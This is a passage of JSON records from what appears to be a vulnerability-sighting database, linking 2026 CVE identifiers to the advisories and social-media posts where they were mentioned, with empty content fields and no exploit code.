"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2490", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-117/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "38affab2-7a31-437c-b52d-2cd26af1ce70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2492", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-116/", "content": "", "creation_timestamp": "2026-02-19T05:00:00.000000Z"}, {"uuid": "a32b4f1b-b2ba-4102-b5b4-2157a89273c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/guardian360.bsky.social/post/3mdldptjq332h", "content": "", "creation_timestamp": "2026-01-29T17:45:20.351655Z"}, {"uuid": "5ee0f96c-ff2d-4f76-940e-fc2e50d3360e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24772", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdj245jxwe2o", "content": "", "creation_timestamp": "2026-01-28T19:47:57.655341Z"}, {"uuid": "ed84df77-2cea-436a-8337-00b2bbcbdfa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3me7fteouwo2x", "content": "", "creation_timestamp": "2026-02-06T17:16:22.040472Z"}, {"uuid": "62ff27d2-8162-422f-ad68-ac47229ab24c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2441", "type": "seen", "source": "https://infosec.exchange/users/defendopsdiaries/statuses/116079374903610005", "content": "", "creation_timestamp": "2026-02-16T08:31:36.552996Z"}, {"uuid": "5ea18cd1-d21c-4c76-aee9-a3d78855a24f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/waldoj.mastodon.social.ap.brid.gy/post/3memhzlvlec42", "content": "", "creation_timestamp": "2026-02-11T22:00:22.448014Z"}, {"uuid": "a723ffcc-4485-4818-b95b-4cddbf245413", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mexnnnkmvk2m", "content": "", "creation_timestamp": "2026-02-16T08:40:13.653502Z"}, {"uuid": "f0704191-a421-4b80-8e77-fce8e6d26d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24714", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mdvrxibdes27", "content": "", "creation_timestamp": "2026-02-02T21:26:47.911089Z"}, {"uuid": "4144b1d7-ff2f-4a0d-8ccd-31d98e756090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mexnu76kowl2", "content": "", "creation_timestamp": "2026-02-16T08:43:53.876589Z"}, {"uuid": "07b59919-bbcc-4427-9345-b02b8ace216b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24788", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3me5dcnavik2r", "content": "", "creation_timestamp": "2026-02-05T21:25:53.394573Z"}, {"uuid": "53d93dec-0034-474e-8af0-84a3146054ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3me5di44f5s2g", "content": "", "creation_timestamp": "2026-02-05T21:28:58.592624Z"}, {"uuid": "fe370940-1f8d-405e-b63c-101056ee51e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mfc44xijbz2k", "content": "", "creation_timestamp": "2026-02-20T12:25:56.535192Z"}, {"uuid": "f1597efe-9666-46f3-8fe1-5a60aee5eb91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/alon710/c79c566b011435ff0ca4034e62bf865a", "content": "", "creation_timestamp": "2026-02-21T12:20:40.000000Z"}, {"uuid": "17a4c4b2-affe-4ee8-90d6-f37b3107631b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mejqyin6x522", "content": "", "creation_timestamp": "2026-02-10T20:02:42.643568Z"}, {"uuid": "adf4e8b8-f9fe-4d82-b6a4-bb3bca24629a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mfemnxtb4c26", "content": "", "creation_timestamp": "2026-02-21T12:27:10.354920Z"}, {"uuid": "552780c2-b84b-4fcb-94b5-90bb0c079065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24735", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/143", "content": "", "creation_timestamp": "2026-02-04T15:24:46.000000Z"}, {"uuid": "c2bd604c-824b-4fe8-a1dc-453d9746a79e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3me5ey75ks22g", "content": "", "creation_timestamp": "2026-02-05T21:55:52.828942Z"}, {"uuid": "31fe6582-3e36-4a50-a163-6afd989aa811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24343", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/153", "content": "", "creation_timestamp": "2026-02-09T15:24:09.000000Z"}, {"uuid": "690ecc74-4f42-40ba-8846-09e34df12c87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24696", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mggo25c4i22v", "content": "", "creation_timestamp": "2026-03-07T01:22:19.906107Z"}, {"uuid": "76d71b48-c321-4cdd-8bb3-022a4660433a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mdj2tqwr6h2p", "content": "", "creation_timestamp": "2026-01-28T20:01:09.323829Z"}, {"uuid": "a5e682ce-5cac-496b-bcb0-3e7849a70fd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24098", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/152", "content": "", "creation_timestamp": "2026-02-09T15:16:40.000000Z"}, {"uuid": "283aab3b-af1e-47c3-875b-84dc1ca02fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2446", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghrrb2tem2f", "content": "", "creation_timestamp": "2026-03-07T12:01:37.553101Z"}, {"uuid": "374676b7-572d-4fd3-b62f-f22c032ca206", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2428", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsujguooy2h", "content": "", "creation_timestamp": "2026-02-27T04:25:01.516384Z"}, {"uuid": "ef9bf64a-02af-449e-bab3-0dbb87ffe717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24488", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfu7rinmdr2u", "content": "", "creation_timestamp": "2026-02-27T17:19:02.061581Z"}, {"uuid": "cce29a5d-ca81-421a-a39c-b8b399ff974e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/Android.activitypub.awakari.com.ap.brid.gy/post/3mexp5ctw72x2", "content": "", "creation_timestamp": "2026-02-16T09:06:56.868663Z"}, {"uuid": "4ce45735-a69c-4060-8d10-9b32e1969be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24849", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfnmjspy6u26", "content": "", "creation_timestamp": "2026-02-25T02:18:45.253426Z"}, {"uuid": "86153084-3dff-4a30-b06e-9dac52c0e8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mdler5mukw2i", "content": "", "creation_timestamp": "2026-01-29T18:03:58.721930Z"}, {"uuid": "428f2f2d-f1b8-4367-889a-ed869beeecc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/opera-security.bsky.social/post/3mexphkhsck2j", "content": "", "creation_timestamp": "2026-02-16T09:12:38.396788Z"}, {"uuid": "724b0469-5953-4fdc-a356-5db0e8d065b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24849", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mfnmjtpx442w", "content": "", "creation_timestamp": "2026-02-25T02:18:46.178043Z"}, {"uuid": "d3a289f3-b4b6-4cf9-8925-0b974d21c7c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24322", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mei4faffdp24", "content": "", "creation_timestamp": "2026-02-10T04:21:26.079565Z"}, {"uuid": "8783c033-ba41-4195-a38d-7ed729a43a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2428", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsukebi762k", "content": "", "creation_timestamp": "2026-02-27T04:25:32.104265Z"}, {"uuid": "0807ecff-53c5-426c-8c9f-ee9778bf3ba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24734", "type": "seen", "source": "https://gist.github.com/yukariccccccc/c653b519e976e9f5a24cc707fa0a554c", "content": "", "creation_timestamp": "2026-03-03T01:47:46.000000Z"}, {"uuid": "40201cd7-6401-4f39-bad7-efe1fb2db588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24103", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg64x47ufp2x", "content": "", "creation_timestamp": "2026-03-03T15:55:07.366527Z"}, {"uuid": "cf36c9a0-3141-42f9-b353-0f65fee98b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3mexruoksgk24", "content": "", "creation_timestamp": "2026-02-16T09:55:48.052786Z"}, {"uuid": "f97a6ab2-d658-4c96-bcfc-034a899dd0c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://gist.github.com/yukariccccccc/c653b519e976e9f5a24cc707fa0a554c", "content": "", "creation_timestamp": "2026-03-03T01:47:46.000000Z"}, {"uuid": "d6c37547-649d-4741-a397-48413f677dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hacker-news-jp.bsky.social/post/3mfa5gcg4as25", "content": "", "creation_timestamp": "2026-02-19T17:43:44.178532Z"}, {"uuid": "007c2c62-c23d-4149-a3d8-19f041420622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24515", "type": "seen", "source": "https://gist.github.com/EbonJaeger/d35ee8e23d9e45964fc3a86bc738c87d", "content": "", "creation_timestamp": "2026-02-06T19:21:38.000000Z"}, {"uuid": "2c995b33-b4a0-47a1-b7d1-2c831b5924cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0057", "content": "", "creation_timestamp": "2026-02-10T18:08:27.000000Z"}, {"uuid": "78cf70fe-7635-4d32-8c0a-ef54e0fbb77a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3mf6aazon7xa2", "content": "", "creation_timestamp": "2026-02-18T23:29:13.243003Z"}, {"uuid": "1bff192a-ef4c-4838-a53c-afad8bfe5463", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116103118537302464", "content": "", "creation_timestamp": "2026-02-20T13:09:55.903053Z"}, {"uuid": "db2ca1b9-0b00-4cb0-bd18-b2f0598911cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/stux.mstdn.social.ap.brid.gy/post/3mdj47oyg3672", "content": "", "creation_timestamp": "2026-01-28T20:25:43.869015Z"}, {"uuid": "fba42316-2007-41c5-85fd-e1d5dd6a9802", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24302", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0057", "content": "", "creation_timestamp": "2026-02-10T18:08:27.000000Z"}, {"uuid": "03d72497-0b6d-4342-9250-8d1ccedb4d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hnbest.bsky.social/post/3mfa6dvti342e", "content": "", "creation_timestamp": "2026-02-19T18:00:17.528732Z"}, {"uuid": "61d3c582-38ef-4f9b-95e1-af44a6d4e52a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mfnn3g2nte22", "content": "", "creation_timestamp": "2026-02-25T02:28:35.675827Z"}, {"uuid": "31307a9e-068c-4d6e-ba71-1c3b369ab3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24737", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvybqmke62g", "content": "", "creation_timestamp": "2026-02-02T23:19:54.173043Z"}, {"uuid": "c9f2e216-12e0-468d-8cb9-43f43c4e0796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24763", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdvybxhoko2x", "content": "", "creation_timestamp": "2026-02-02T23:20:01.215724Z"}, {"uuid": "f6fea6eb-8d5f-4374-a0bb-3c18c865d289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24843", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2po6p42p2m", "content": "", "creation_timestamp": "2026-02-04T20:29:06.411094Z"}, {"uuid": "03f320be-c0fa-4fd9-ad66-82a58966e9bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/eltableroglobal.bsky.social/post/3mf6auqzcmq25", "content": "", "creation_timestamp": "2026-02-18T23:40:12.697516Z"}, {"uuid": "d14862e7-b2c0-4646-a20e-b140352e1a9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdj6ccc4fy2q", "content": "", "creation_timestamp": "2026-01-28T21:02:58.603653Z"}, {"uuid": "c7f499e0-71b7-485b-9811-11ee9f28e921", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24844", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2qd5diwb2o", "content": "", "creation_timestamp": "2026-02-04T20:40:50.408156Z"}, {"uuid": "544edbb7-3d10-426c-a661-1a4f49a1e04b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/hn.rbrt.fr/post/3mf6b4l374k2z", "content": "", "creation_timestamp": "2026-02-18T23:44:34.021566Z"}, {"uuid": "42b5411d-0c7b-4685-b0ab-7098b5e541fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116103136076569154", "content": "", "creation_timestamp": "2026-02-20T13:14:23.279270Z"}, {"uuid": "82da0722-9c33-4245-951a-512ea13fcc21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24884", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me2qdesbdx2v", "content": "", "creation_timestamp": "2026-02-04T20:40:57.608063Z"}, {"uuid": "ab37bb84-4aeb-44df-ac74-6a1f21bdc63e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3memp2mqv7z25", "content": "", "creation_timestamp": "2026-02-12T00:06:05.159704Z"}, {"uuid": "a6a89aa0-c0d2-4844-b4ac-c0b5db6cd3d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24452", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfsvfaxbhf2d", "content": "", "creation_timestamp": "2026-02-27T04:40:34.873546Z"}, {"uuid": "216f1947-8f19-4677-aed0-135f9dec2f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24300", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me5jlie2cq25", "content": "", "creation_timestamp": "2026-02-05T23:18:12.591774Z"}, {"uuid": "deda0e11-6f26-40b9-aaab-097966eac517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24834", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfa6h34cr625", "content": "", "creation_timestamp": "2026-02-19T18:02:04.034779Z"}, {"uuid": "aaa04e76-b85f-4645-8d02-49e3f1df6a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24302", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3me5jlpktku2g", "content": "", "creation_timestamp": "2026-02-05T23:18:20.552652Z"}, {"uuid": "e4f2fc5b-1c02-455e-aee7-44c5cd3c969a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mfetq3dvxk26", "content": "", "creation_timestamp": "2026-02-21T14:33:37.195380Z"}, {"uuid": "5782d3b1-a106-437c-874d-4e0b40512658", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mehfkjfz3k2i", "content": "", "creation_timestamp": "2026-02-09T21:32:43.190884Z"}, {"uuid": "588c4139-1170-439e-b779-1a0b4b709388", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24834", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfa6hxaxz72c", "content": "", "creation_timestamp": "2026-02-19T18:02:33.563266Z"}, {"uuid": "5146e474-d1e4-4986-9f42-4fdcb4d10eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24287", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "485024de-738c-48e2-8002-55644457dc66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24514", "type": "seen", "source": "https://bsky.app/profile/kubernetes.io/post/3me2qxa5ts22b", "content": "", "creation_timestamp": "2026-02-04T20:52:04.088430Z"}, {"uuid": "c899a29a-8471-458a-b43c-6545200b70e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://threatintel.cc/2026/02/20/poc-released-for-critical-chrome.html", "content": "", "creation_timestamp": "2026-02-20T12:14:28.000000Z"}, {"uuid": "96eea9d1-a3f7-4102-a8ce-7b9f578dd69d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2446", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghrrrj6rn2k", "content": "", "creation_timestamp": "2026-03-07T12:01:55.266977Z"}, {"uuid": "28018742-28c7-4f76-bdba-a6cf0f4ac487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mdlgetxnts2q", "content": "", "creation_timestamp": "2026-01-29T18:32:53.540830Z"}, {"uuid": "f74ff37c-6eef-4cc0-9eab-1f0ef1e87d9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24733", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mf4kxjtp4c2e", "content": "", "creation_timestamp": "2026-02-18T07:35:39.558964Z"}, {"uuid": "aa2cecf2-92a7-4636-a63d-0408dc68acb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mfa6lawbkw2z", "content": "", "creation_timestamp": "2026-02-19T18:04:24.740197Z"}, {"uuid": "892c3d00-faa8-4a3a-baf4-e40b7eb278fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24289", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "df8a33cb-84c1-4a49-b7b7-c63146144294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24734", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mf4kxjtp4c2e", "content": "", "creation_timestamp": "2026-02-18T07:35:39.833271Z"}, {"uuid": "3c3eecc4-ddab-4f55-a4eb-b62b42c6f58a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mfa6lbwfs72i", "content": "", "creation_timestamp": "2026-02-19T18:04:25.638571Z"}, {"uuid": "3756cc27-943f-4d8b-aee5-fb5f2f2888e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24695", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfswizq3ge2s", "content": "", "creation_timestamp": "2026-02-27T05:00:35.207204Z"}, {"uuid": "10a657bb-92b5-44b1-bd45-d08b7ca97619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 